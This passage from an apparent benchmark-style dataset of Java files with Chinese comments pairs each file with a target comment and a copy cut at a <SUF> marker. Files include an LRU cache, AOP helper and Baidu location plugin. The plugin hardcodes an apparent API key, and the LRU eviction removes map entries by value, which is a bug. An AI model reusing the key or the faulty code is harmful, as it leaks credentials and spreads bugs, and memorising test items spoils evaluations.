this.nodeList.moveNodeToTail(res);
return res.value;
}
return null;
}
public void set(K key, V value) {
if (keyNodeMap.containsKey(key)) {
Node<V> res = this.keyNodeMap.get(key);
res.value = value;
this.nodeList.moveNodeToTail(res);
} else {
Node<V> res = new Node<>(value);
this.nodeList.addNode(res);
this.keyNodeMap.put(key, res);
//大于指定容量移除掉头部,为最不经常使用的节点,同时移除掉map集合中的元素
if (this.keyNodeMap.size() == capacity + 1) {
Node<V> removeNode = this.nodeList.removeHead();
keyNodeMap.remove(removeNode.value);
}
}
}
}
/**
* 双向链表 ,有头尾指针,头指针为最不经常使用的节点,尾指针为刚使用完的节点
*
* @param <V>
*/
public static class NodeDoubleLinkedList<V> {
private Node<V> head;
private Node<V> tail;
public NodeDoubleLinkedList() {
this.head = null;
this.tail = null;
}
public void addNode(Node<V> newNode) {
if (newNode == null) {
return;
}
if (this.head == null) {
this.head = newNode;
this.tail = newNode;
} else {
//双向链表
this.tail.next = newNode;
newNode.pre = this.tail;
this.tail = newNode;
}
}
public void moveNodeToTail(Node<V> node) {
if (this.tail == null) {
return;
}
//先断开之前的位置
if (this.head == node) {
head = node.next;
this.head.pre = null;
} else {
node.pre.next = node.next;
node.next.pre = node.pre;
}
//移动到最后的位置
node.pre = this.tail;
node.next = null;
this.tail.next = node;
this.tail = node;
}
public Node<V> removeHead() {
if (head == null) {
return null;
}
Node removeNode = this.head;
if (this.head == this.tail) {
this.head = null;
this.tail = null;
} else {
this.head = removeNode.next;
this.head.pre = null;
removeNode.next = null;
}
return removeNode;
}
}
}
| Dongyang666/leetcode | src/LRU.java | 967 | //先断开之前的位置 | line_comment | zh-cn | import java.util.HashMap;
/**
* LRU算法 最近最常使用算法,内存加载
*/
public class LRU {
public static class Node<V> {
public Node<V> pre;
public Node<V> next;
public V value;
public Node(V value) {
this.value = value;
}
}
public static class MyCache<K, V> {
//map可保证为(1)的查询对应关系
private HashMap<K, Node<V>> keyNodeMap;
private NodeDoubleLinkedList<V> nodeList;
private int capacity;
public MyCache(int capacity) {
if (capacity < 1) {
new RuntimeException("should be more than 1 ");
}
this.capacity = capacity;
this.keyNodeMap = new HashMap<>();
this.nodeList = new NodeDoubleLinkedList<>();
}
public V get(K key) {
if (this.keyNodeMap.containsKey(key)) {
Node<V> res = this.keyNodeMap.get(key);
this.nodeList.moveNodeToTail(res);
return res.value;
}
return null;
}
public void set(K key, V value) {
if (keyNodeMap.containsKey(key)) {
Node<V> res = this.keyNodeMap.get(key);
res.value = value;
this.nodeList.moveNodeToTail(res);
} else {
Node<V> res = new Node<>(value);
this.nodeList.addNode(res);
this.keyNodeMap.put(key, res);
//大于指定容量移除掉头部,为最不经常使用的节点,同时移除掉map集合中的元素
if (this.keyNodeMap.size() == capacity + 1) {
Node<V> removeNode = this.nodeList.removeHead();
keyNodeMap.remove(removeNode.value);
}
}
}
}
/**
* 双向链表 ,有头尾指针,头指针为最不经常使用的节点,尾指针为刚使用完的节点
*
* @param <V>
*/
public static class NodeDoubleLinkedList<V> {
private Node<V> head;
private Node<V> tail;
public NodeDoubleLinkedList() {
this.head = null;
this.tail = null;
}
public void addNode(Node<V> newNode) {
if (newNode == null) {
return;
}
if (this.head == null) {
this.head = newNode;
this.tail = newNode;
} else {
//双向链表
this.tail.next = newNode;
newNode.pre = this.tail;
this.tail = newNode;
}
}
public void moveNodeToTail(Node<V> node) {
if (this.tail == null) {
return;
}
//先断 <SUF>
if (this.head == node) {
head = node.next;
this.head.pre = null;
} else {
node.pre.next = node.next;
node.next.pre = node.pre;
}
//移动到最后的位置
node.pre = this.tail;
node.next = null;
this.tail.next = node;
this.tail = node;
}
public Node<V> removeHead() {
if (head == null) {
return null;
}
Node removeNode = this.head;
if (this.head == this.tail) {
this.head = null;
this.tail = null;
} else {
this.head = removeNode.next;
this.head.pre = null;
removeNode.next = null;
}
return removeNode;
}
}
}
| 1 | 10 | 1 |
53109_2 | /**
* MIT License
*
* Copyright (c) 2017 CaiDongyu
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package org.axe.helper.aop;
import java.lang.annotation.Annotation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.axe.annotation.aop.Aspect;
import org.axe.helper.ioc.BeanHelper;
import org.axe.helper.ioc.ClassHelper;
import org.axe.interface_.base.Helper;
import org.axe.interface_.proxy.Proxy;
import org.axe.proxy.base.ProxyManger;
import org.axe.util.ReflectionUtil;
/**
* 方法拦截助手类
* @author CaiDongyu on 2016/4/14.
*/
public final class AopHelper implements Helper{
@Override
public void init() throws Exception{
synchronized (this) {
Map<Class<?>,Set<Class<?>>> proxyMap = createProxyMap();
Map<Class<?>,List<Proxy>> targetMap = createTargetMap(proxyMap);
for (Map.Entry<Class<?>,List<Proxy>> targetEntry:targetMap.entrySet()){
Class<?> targetClass = targetEntry.getKey();
List<Proxy> proxyList = targetEntry.getValue();
//真正的创建目标类的代理对象
Object proxy = ProxyManger.createProxy(targetClass,proxyList);
BeanHelper.setBean(targetClass,proxy);
}
}
}
/**
* 返回代理类与目标类集合的映射
* 比如代理类A,代理了B、C、D三个类
* 通过A类上的注解Aspect指定一个目标注解比如叫M
* B、C、D类都拥有这个注解M,就可以了。
*/
private static Map<Class<?>,Set<Class<?>>> createProxyMap() throws Exception {
Map<Class<?>,Set<Class<?>>> proxyMap = new HashMap<>();
//找到切面抽象类的实现类,就是说,都是切面类
Set<Class<?>> proxyClassSet = ClassHelper.getClassSetBySuper(Proxy.class);
for(Class<?> proxyClass : proxyClassSet){
//继承了 AspectProxy 不算,还得是有指定了切面目标类
if(proxyClass.isAnnotationPresent(Aspect.class)){
Aspect aspect = proxyClass.getAnnotation(Aspect.class);
//TODO:目前AOP实现,还只是针对有目标注解的类做切面,不能细化到方法,这样一旦拦截,会拦截所有方法
//比如事务切面,实际上是切了整个Server类所有方法,但是在切面加强的时候会判断,判断这个方法开不开事务。
Set<Class<?>> targetClassSet = createTargetClassSet(aspect);
proxyMap.put(proxyClass,targetClassSet);
}
}
return proxyMap;
}
private static Set<Class<?>> createTargetClassSet(Aspect aspect) throws Exception{
Set<Class<?>> targetClassSet = new HashSet<>();
//切面目标的指定,依然是通过注解来匹配
Class<? extends Annotation>[] annotations = aspect.value();
//排除Aspect注解本身,因为Aspect注解就是用来指定目标切面注解的
if(annotations != null){
for(Class<? extends Annotation> annotation:annotations){
if(!annotation.equals(Aspect.class)){
//取出含有目标注解的类,作为目标类
targetClassSet.addAll(ClassHelper.getClassSetByAnnotation(annotation));
}
}
}
return targetClassSet;
}
/**
* 将proxy -> targetClassSet 映射关系逆转
* 变成 targetClass -> proxyList 关系
* 也就是说现在是 一个类,对应有多少个proxy去处理
*/
private static Map<Class<?>,List<Proxy>> createTargetMap(Map<Class<?>, Set<Class<?>>> proxyMap) throws Exception{
Map<Class<?>,List<Proxy>> targetMap = new HashMap<>();
for (Map.Entry<Class<?>,Set<Class<?>>> proxyEntry:proxyMap.entrySet()){
Class<?> proxyClass = proxyEntry.getKey();
Set<Class<?>> targetClassSet = proxyEntry.getValue();
Proxy proxy = ReflectionUtil.newInstance(proxyClass);
for (Class<?> targetClass : targetClassSet){
if (targetMap.containsKey(targetClass)){
targetMap.get(targetClass).add(proxy);
} else {
List<Proxy> proxyList = new ArrayList<Proxy>();
proxyList.add(proxy);
targetMap.put(targetClass,proxyList);
}
}
}
return targetMap;
}
@Override
public void onStartUp() throws Exception {}
}
| DongyuCai/Axe | axe/src/main/java/org/axe/helper/aop/AopHelper.java | 1,335 | //真正的创建目标类的代理对象 | line_comment | zh-cn | /**
* MIT License
*
* Copyright (c) 2017 CaiDongyu
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package org.axe.helper.aop;
import java.lang.annotation.Annotation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.axe.annotation.aop.Aspect;
import org.axe.helper.ioc.BeanHelper;
import org.axe.helper.ioc.ClassHelper;
import org.axe.interface_.base.Helper;
import org.axe.interface_.proxy.Proxy;
import org.axe.proxy.base.ProxyManger;
import org.axe.util.ReflectionUtil;
/**
* 方法拦截助手类
* @author CaiDongyu on 2016/4/14.
*/
public final class AopHelper implements Helper{
@Override
public void init() throws Exception{
synchronized (this) {
Map<Class<?>,Set<Class<?>>> proxyMap = createProxyMap();
Map<Class<?>,List<Proxy>> targetMap = createTargetMap(proxyMap);
for (Map.Entry<Class<?>,List<Proxy>> targetEntry:targetMap.entrySet()){
Class<?> targetClass = targetEntry.getKey();
List<Proxy> proxyList = targetEntry.getValue();
//真正 <SUF>
Object proxy = ProxyManger.createProxy(targetClass,proxyList);
BeanHelper.setBean(targetClass,proxy);
}
}
}
/**
* 返回代理类与目标类集合的映射
* 比如代理类A,代理了B、C、D三个类
* 通过A类上的注解Aspect指定一个目标注解比如叫M
* B、C、D类都拥有这个注解M,就可以了。
*/
private static Map<Class<?>,Set<Class<?>>> createProxyMap() throws Exception {
Map<Class<?>,Set<Class<?>>> proxyMap = new HashMap<>();
//找到切面抽象类的实现类,就是说,都是切面类
Set<Class<?>> proxyClassSet = ClassHelper.getClassSetBySuper(Proxy.class);
for(Class<?> proxyClass : proxyClassSet){
//继承了 AspectProxy 不算,还得是有指定了切面目标类
if(proxyClass.isAnnotationPresent(Aspect.class)){
Aspect aspect = proxyClass.getAnnotation(Aspect.class);
//TODO:目前AOP实现,还只是针对有目标注解的类做切面,不能细化到方法,这样一旦拦截,会拦截所有方法
//比如事务切面,实际上是切了整个Server类所有方法,但是在切面加强的时候会判断,判断这个方法开不开事务。
Set<Class<?>> targetClassSet = createTargetClassSet(aspect);
proxyMap.put(proxyClass,targetClassSet);
}
}
return proxyMap;
}
private static Set<Class<?>> createTargetClassSet(Aspect aspect) throws Exception{
Set<Class<?>> targetClassSet = new HashSet<>();
//切面目标的指定,依然是通过注解来匹配
Class<? extends Annotation>[] annotations = aspect.value();
//排除Aspect注解本身,因为Aspect注解就是用来指定目标切面注解的
if(annotations != null){
for(Class<? extends Annotation> annotation:annotations){
if(!annotation.equals(Aspect.class)){
//取出含有目标注解的类,作为目标类
targetClassSet.addAll(ClassHelper.getClassSetByAnnotation(annotation));
}
}
}
return targetClassSet;
}
/**
* 将proxy -> targetClassSet 映射关系逆转
* 变成 targetClass -> proxyList 关系
* 也就是说现在是 一个类,对应有多少个proxy去处理
*/
private static Map<Class<?>,List<Proxy>> createTargetMap(Map<Class<?>, Set<Class<?>>> proxyMap) throws Exception{
Map<Class<?>,List<Proxy>> targetMap = new HashMap<>();
for (Map.Entry<Class<?>,Set<Class<?>>> proxyEntry:proxyMap.entrySet()){
Class<?> proxyClass = proxyEntry.getKey();
Set<Class<?>> targetClassSet = proxyEntry.getValue();
Proxy proxy = ReflectionUtil.newInstance(proxyClass);
for (Class<?> targetClass : targetClassSet){
if (targetMap.containsKey(targetClass)){
targetMap.get(targetClass).add(proxy);
} else {
List<Proxy> proxyList = new ArrayList<Proxy>();
proxyList.add(proxy);
targetMap.put(targetClass,proxyList);
}
}
}
return targetMap;
}
@Override
public void onStartUp() throws Exception {}
}
| 1 | 15 | 1 |
28648_0 | /**
* 不安全的取钱
* 两个人去银行取钱,账户
*/
public class UnsafeBank {
public static void main(String[] args) {
// 账户
Account account = new Account(100,"结婚基金");
Drawing you = new Drawing(account, 50, "你");
Drawing girlFriend = new Drawing(account, 100, "GirlFriend");
you.start();
girlFriend.start();
}
}
// 账户
class Account {
int money;
String name;
public Account(int money, String name) {
this.money = money;
this.name = name;
}
}
// 银行: 模拟取款
class Drawing extends Thread {
Account account; // 账户 account
// 取了多少钱 How much did you withdraw
int drawingMoney;
// 现在手里钱 Now the money in hand
int nowMoney;
public Drawing(Account account, int drawingMoney, String name) {
super(name);
this.account = account;
this.drawingMoney = drawingMoney;
}
@Override
// public void run(){
public void run(){
// 这里的account都是主函数传过来的结婚基金的account对象实例,是同一个
/**
* 其实这里同步只能按方法去锁对象,
* 但是这里具体操作Drawing类的取钱方法的是new的两个账户,
* 我们要锁的是两个不同的对象,所以单纯在方法里加syn锁不到两个对象,所以用同步块
*/
synchronized (account) {
// 判断有没有钱
if (account.money - drawingMoney < 0) {
System.out.println(Thread.currentThread().getName() + "钱不够,取不了");
return;
}
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
// 卡内余额 = 余额 - 你的钱
account.money = account.money - drawingMoney;
nowMoney = nowMoney + drawingMoney;
System.out.println(account.name + "余额为:" + account.money);
// Thread.currentThread().getName() 和 this.getName() 等价
System.out.println(this.getName() + "手里的钱:" + nowMoney);
}
}
} | DonkeyBoy001/java-thread- | UnsafeBank.java | 552 | /**
* 不安全的取钱
* 两个人去银行取钱,账户
*/ | block_comment | zh-cn | /**
* 不安全 <SUF>*/
public class UnsafeBank {
public static void main(String[] args) {
// 账户
Account account = new Account(100,"结婚基金");
Drawing you = new Drawing(account, 50, "你");
Drawing girlFriend = new Drawing(account, 100, "GirlFriend");
you.start();
girlFriend.start();
}
}
// 账户
class Account {
int money;
String name;
public Account(int money, String name) {
this.money = money;
this.name = name;
}
}
// 银行: 模拟取款
class Drawing extends Thread {
Account account; // 账户 account
// 取了多少钱 How much did you withdraw
int drawingMoney;
// 现在手里钱 Now the money in hand
int nowMoney;
public Drawing(Account account, int drawingMoney, String name) {
super(name);
this.account = account;
this.drawingMoney = drawingMoney;
}
@Override
// public void run(){
public void run(){
// 这里的account都是主函数传过来的结婚基金的account对象实例,是同一个
/**
* 其实这里同步只能按方法去锁对象,
* 但是这里具体操作Drawing类的取钱方法的是new的两个账户,
* 我们要锁的是两个不同的对象,所以单纯在方法里加syn锁不到两个对象,所以用同步块
*/
synchronized (account) {
// 判断有没有钱
if (account.money - drawingMoney < 0) {
System.out.println(Thread.currentThread().getName() + "钱不够,取不了");
return;
}
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
// 卡内余额 = 余额 - 你的钱
account.money = account.money - drawingMoney;
nowMoney = nowMoney + drawingMoney;
System.out.println(account.name + "余额为:" + account.money);
// Thread.currentThread().getName() 和 this.getName() 等价
System.out.println(this.getName() + "手里的钱:" + nowMoney);
}
}
} | 0 | 32 | 0 |
22120_2 | package com.software.job.vo;
import java.sql.Date;
import com.software.job.po.Users;
/*
* 此javaBean为了方便展示页面数据,故和数据库类型不一样
*/
public class UserInfo {
private int id;
private String uname;
private String pwd;
private String email;
private String phone;
private int age;
private String gender;//数据类型改变
private String address;
private String degree;//数据类型改变
private Date joinTime;
private String ip;
public UserInfo() {
}
public UserInfo(Users users) {
super();
this.id = users.getId();
this.uname = users.getUname();
this.pwd = users.getPwd();
this.email = users.getEmail();
this.phone = users.getPhone();
this.age = users.getAge();
setGender(users.getGender());
this.address = users.getAddress();
setDegree(users.getDegree());
this.joinTime = users.getJoinTime();
this.ip = users.getIp();
}
public UserInfo(int id, String uname, String pwd, String email, String phone, int age, int gender, String address,
int degree, Date joinTime, String ip) {
super();
this.id = id;
this.uname = uname;
this.pwd = pwd;
this.email = email;
this.phone = phone;
this.age = age;
setGender(gender);
this.address = address;
setDegree(degree);
this.joinTime = joinTime;
this.ip = ip;
}
public UserInfo(String uname, String pwd, String email, String phone, int age, int gender, String address, int degree,
Date joinTime, String ip) {
super();
this.uname = uname;
this.pwd = pwd;
this.email = email;
this.phone = phone;
this.age = age;
setGender(gender);
this.address = address;
setDegree(degree);
this.joinTime = joinTime;
this.ip = ip;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getUname() {
return uname;
}
public void setUname(String uname) {
this.uname = uname;
}
public String getPwd() {
return pwd;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPhone() {
return phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getGender() {
return gender;
}
public void setGender(int gender) {
if(gender==0) {
this.gender = "男";
}else {
this.gender="女";
}
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
public String getDegree() {
return degree;
}
public void setDegree(int degree) {
switch (degree) {
case 0:
this.degree = "高中";
break;
case 1:
this.degree = "专科";
break;
case 2:
this.degree = "本科";
break;
case 3:
this.degree = "硕士";
break;
case 4:
this.degree = "博士";
break;
}
}
public Date getJoinTime() {
return joinTime;
}
public void setJoinTime(Date joinTime) {
this.joinTime = joinTime;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
}
| DonkeyHu/TypicalWebProject | src/com/software/job/vo/UserInfo.java | 1,100 | //数据类型改变 | line_comment | zh-cn | package com.software.job.vo;
import java.sql.Date;
import com.software.job.po.Users;
/*
* 此javaBean为了方便展示页面数据,故和数据库类型不一样
*/
public class UserInfo {
private int id;
private String uname;
private String pwd;
private String email;
private String phone;
private int age;
private String gender;//数据类型改变
private String address;
private String degree;//数据 <SUF>
private Date joinTime;
private String ip;
public UserInfo() {
}
public UserInfo(Users users) {
super();
this.id = users.getId();
this.uname = users.getUname();
this.pwd = users.getPwd();
this.email = users.getEmail();
this.phone = users.getPhone();
this.age = users.getAge();
setGender(users.getGender());
this.address = users.getAddress();
setDegree(users.getDegree());
this.joinTime = users.getJoinTime();
this.ip = users.getIp();
}
public UserInfo(int id, String uname, String pwd, String email, String phone, int age, int gender, String address,
int degree, Date joinTime, String ip) {
super();
this.id = id;
this.uname = uname;
this.pwd = pwd;
this.email = email;
this.phone = phone;
this.age = age;
setGender(gender);
this.address = address;
setDegree(degree);
this.joinTime = joinTime;
this.ip = ip;
}
public UserInfo(String uname, String pwd, String email, String phone, int age, int gender, String address, int degree,
Date joinTime, String ip) {
super();
this.uname = uname;
this.pwd = pwd;
this.email = email;
this.phone = phone;
this.age = age;
setGender(gender);
this.address = address;
setDegree(degree);
this.joinTime = joinTime;
this.ip = ip;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getUname() {
return uname;
}
public void setUname(String uname) {
this.uname = uname;
}
public String getPwd() {
return pwd;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPhone() {
return phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getGender() {
return gender;
}
public void setGender(int gender) {
if(gender==0) {
this.gender = "男";
}else {
this.gender="女";
}
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
public String getDegree() {
return degree;
}
public void setDegree(int degree) {
switch (degree) {
case 0:
this.degree = "高中";
break;
case 1:
this.degree = "专科";
break;
case 2:
this.degree = "本科";
break;
case 3:
this.degree = "硕士";
break;
case 4:
this.degree = "博士";
break;
}
}
public Date getJoinTime() {
return joinTime;
}
public void setJoinTime(Date joinTime) {
this.joinTime = joinTime;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
}
| 1 | 8 | 1 |
63609_7 | package priv.fruits.controller.web;
import cn.hutool.core.collection.CollectionUtil;
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.RandomUtil;
import cn.hutool.extra.mail.MailAccount;
import cn.hutool.extra.mail.MailUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import priv.fruits.pojo.ResultMessage;
import priv.fruits.pojo.User;
import priv.fruits.service.UserService;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
/**
* @Author 冶生华
* @Description 果蔬超市
*/
@Controller
@RequestMapping("email")
public class EmailController {
// 创建配置好的邮箱对象
@Autowired
private MailAccount mailAccount;
@Autowired
private UserService userService;
/**
* 发送邮箱验证码
* @param userEmail 邮件接收人
* @return
*/
@GetMapping("sendVerifyCode")
@ResponseBody
public ResultMessage sendVerifyCode(String userEmail, String type, HttpServletRequest request) {
try {
// 查询该邮箱是否已注册
User user = userService.getUserInfoByEmail(userEmail);
if("register".equals(type) && user != null && user.getId() != null) {
return new ResultMessage(207, "该邮箱已被注册!");
}
// 生成验证码(随机10000 - 99999的数字)
String code = RandomUtil.randomInt(10000, 99999)+"";
// 将生成的验证码保存到session中, 用于后期验证
HttpSession session = request.getSession();
// 保存前将之前保存过的记录删除一遍, 防止之前有记录
session.removeAttribute("webEditPassVerifyCode");
session.removeAttribute("webRegisterVerifyCode");
// 判断是注册还是修改密码, 保存不同的名字
if("register".equals(type)) {
session.setAttribute("webRegisterVerifyCode", code);
} else if("editPassword".equals(type)) {
session.setAttribute("webEditPassVerifyCode", code);
}
// 利用Hutool封装的邮箱工具类发送邮件
String send = MailUtil.send(mailAccount, CollectionUtil.newArrayList(userEmail),
"您正在注册果蔬超市账户……", "打死都不要告诉别人!!验证码是:" +
"<span style='color:#1E9FFF;font-size:16px;font-weight:800;'>" +
code + "</span>", true);
System.out.println("邮件发送结果:" + send);
return new ResultMessage(0, "邮件已发送!请查收");
} catch (Exception e) {
e.printStackTrace();
return new ResultMessage(500, "出现异常:" + e.getMessage());
}
}
}
| DouFoUncle/daily-fruits | src/main/java/priv/fruits/controller/web/EmailController.java | 733 | // 判断是注册还是修改密码, 保存不同的名字 | line_comment | zh-cn | package priv.fruits.controller.web;
import cn.hutool.core.collection.CollectionUtil;
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.RandomUtil;
import cn.hutool.extra.mail.MailAccount;
import cn.hutool.extra.mail.MailUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import priv.fruits.pojo.ResultMessage;
import priv.fruits.pojo.User;
import priv.fruits.service.UserService;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
/**
* @Author 冶生华
* @Description 果蔬超市
*/
@Controller
@RequestMapping("email")
public class EmailController {
// 创建配置好的邮箱对象
@Autowired
private MailAccount mailAccount;
@Autowired
private UserService userService;
/**
* 发送邮箱验证码
* @param userEmail 邮件接收人
* @return
*/
@GetMapping("sendVerifyCode")
@ResponseBody
public ResultMessage sendVerifyCode(String userEmail, String type, HttpServletRequest request) {
try {
// 查询该邮箱是否已注册
User user = userService.getUserInfoByEmail(userEmail);
if("register".equals(type) && user != null && user.getId() != null) {
return new ResultMessage(207, "该邮箱已被注册!");
}
// 生成验证码(随机10000 - 99999的数字)
String code = RandomUtil.randomInt(10000, 99999)+"";
// 将生成的验证码保存到session中, 用于后期验证
HttpSession session = request.getSession();
// 保存前将之前保存过的记录删除一遍, 防止之前有记录
session.removeAttribute("webEditPassVerifyCode");
session.removeAttribute("webRegisterVerifyCode");
// 判断 <SUF>
if("register".equals(type)) {
session.setAttribute("webRegisterVerifyCode", code);
} else if("editPassword".equals(type)) {
session.setAttribute("webEditPassVerifyCode", code);
}
// 利用Hutool封装的邮箱工具类发送邮件
String send = MailUtil.send(mailAccount, CollectionUtil.newArrayList(userEmail),
"您正在注册果蔬超市账户……", "打死都不要告诉别人!!验证码是:" +
"<span style='color:#1E9FFF;font-size:16px;font-weight:800;'>" +
code + "</span>", true);
System.out.println("邮件发送结果:" + send);
return new ResultMessage(0, "邮件已发送!请查收");
} catch (Exception e) {
e.printStackTrace();
return new ResultMessage(500, "出现异常:" + e.getMessage());
}
}
}
| 1 | 23 | 1 |
59104_0 | package com.spout.phonegap.plugins.baidulocation;
import java.util.HashMap;
import java.util.Map;
import org.apache.cordova.CallbackContext;
import org.apache.cordova.CordovaPlugin;
import org.apache.cordova.PluginResult;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.util.Log;
import com.baidu.location.BDLocation;
import com.baidu.location.BDLocationListener;
import com.baidu.location.LocationClient;
import com.baidu.location.LocationClientOption;
public class BaiduLocation extends CordovaPlugin {
private static final String STOP_ACTION = "stop";
private static final String GET_ACTION = "getCurrentPosition";
public LocationClient locationClient = null;
public JSONObject jsonObj = new JSONObject();
public boolean result = false;
public CallbackContext callbackContext;
public BDLocationListener myListener;
private static final Map<Integer, String> ERROR_MESSAGE_MAP = new HashMap<Integer, String>();
private static final String DEFAULT_ERROR_MESSAGE = "服务端定位失败";
static {
ERROR_MESSAGE_MAP.put(61, "GPS定位结果");
ERROR_MESSAGE_MAP.put(62, "扫描整合定位依据失败。此时定位结果无效");
ERROR_MESSAGE_MAP.put(63, "网络异常,没有成功向服务器发起请求。此时定位结果无效");
ERROR_MESSAGE_MAP.put(65, "定位缓存的结果");
ERROR_MESSAGE_MAP.put(66, "离线定位结果。通过requestOfflineLocaiton调用时对应的返回结果");
ERROR_MESSAGE_MAP.put(67, "离线定位失败。通过requestOfflineLocaiton调用时对应的返回结果");
ERROR_MESSAGE_MAP.put(68, "网络连接失败时,查找本地离线定位时对应的返回结果。");
ERROR_MESSAGE_MAP.put(161, "表示网络定位结果");
};
public String getErrorMessage(int locationType) {
String result = ERROR_MESSAGE_MAP.get(locationType);
if (result == null) {
result = DEFAULT_ERROR_MESSAGE;
}
return result;
}
@Override
public boolean execute(String action, JSONArray args,
final CallbackContext callbackContext) {
setCallbackContext(callbackContext);
if (GET_ACTION.equals(action)) {
cordova.getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
locationClient = new LocationClient(cordova.getActivity());
locationClient.setAK("BfkPvjDGHC0ATZhIr6wxnHh9");//设置百度的ak
myListener = new MyLocationListener();
locationClient.registerLocationListener(myListener);
LocationClientOption option = new LocationClientOption();
option.setOpenGps(true);
option.setCoorType("bd09ll");// 返回的定位结果是百度经纬度,默认值gcj02
option.setProdName("BaiduLoc");
option.disableCache(true);// 禁止启用缓存定位
locationClient.setLocOption(option);
locationClient.start();
locationClient.requestLocation();
}
});
return true;
} else if (STOP_ACTION.equals(action)) {
locationClient.stop();
callbackContext.success(200);
return true;
} else {
callbackContext
.error(PluginResult.Status.INVALID_ACTION.toString());
}
while (result == false) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
return result;
}
public class MyLocationListener implements BDLocationListener {
@Override
public void onReceiveLocation(BDLocation location) {
if (location == null)
return;
try {
JSONObject coords = new JSONObject();
coords.put("latitude", location.getLatitude());
coords.put("longitude", location.getLongitude());
coords.put("radius", location.getRadius());
jsonObj.put("coords", coords);
int locationType = location.getLocType();
jsonObj.put("locationType", locationType);
jsonObj.put("code", locationType);
jsonObj.put("message", getErrorMessage(locationType));
switch (location.getLocType()) {
case BDLocation.TypeGpsLocation:
coords.put("speed", location.getSpeed());
coords.put("altitude", location.getAltitude());
jsonObj.put("SatelliteNumber",
location.getSatelliteNumber());
break;
case BDLocation.TypeNetWorkLocation:
jsonObj.put("addr", location.getAddrStr());
break;
}
Log.d("BaiduLocationPlugin", "run: " + jsonObj.toString());
callbackContext.success(jsonObj);
result = true;
} catch (JSONException e) {
callbackContext.error(e.getMessage());
result = true;
}
}
public void onReceivePoi(BDLocation poiLocation) {
// TODO Auto-generated method stub
}
}
@Override
public void onDestroy() {
if (locationClient != null && locationClient.isStarted()) {
locationClient.stop();
locationClient = null;
}
super.onDestroy();
}
private void logMsg(String s) {
System.out.println(s);
}
public CallbackContext getCallbackContext() {
return callbackContext;
}
public void setCallbackContext(CallbackContext callbackContext) {
this.callbackContext = callbackContext;
}
} | DoubleSpout/phonegap_baidu_sdk_location | src/android/BaiduLocation.java | 1,413 | //设置百度的ak | line_comment | zh-cn | package com.spout.phonegap.plugins.baidulocation;
import java.util.HashMap;
import java.util.Map;
import org.apache.cordova.CallbackContext;
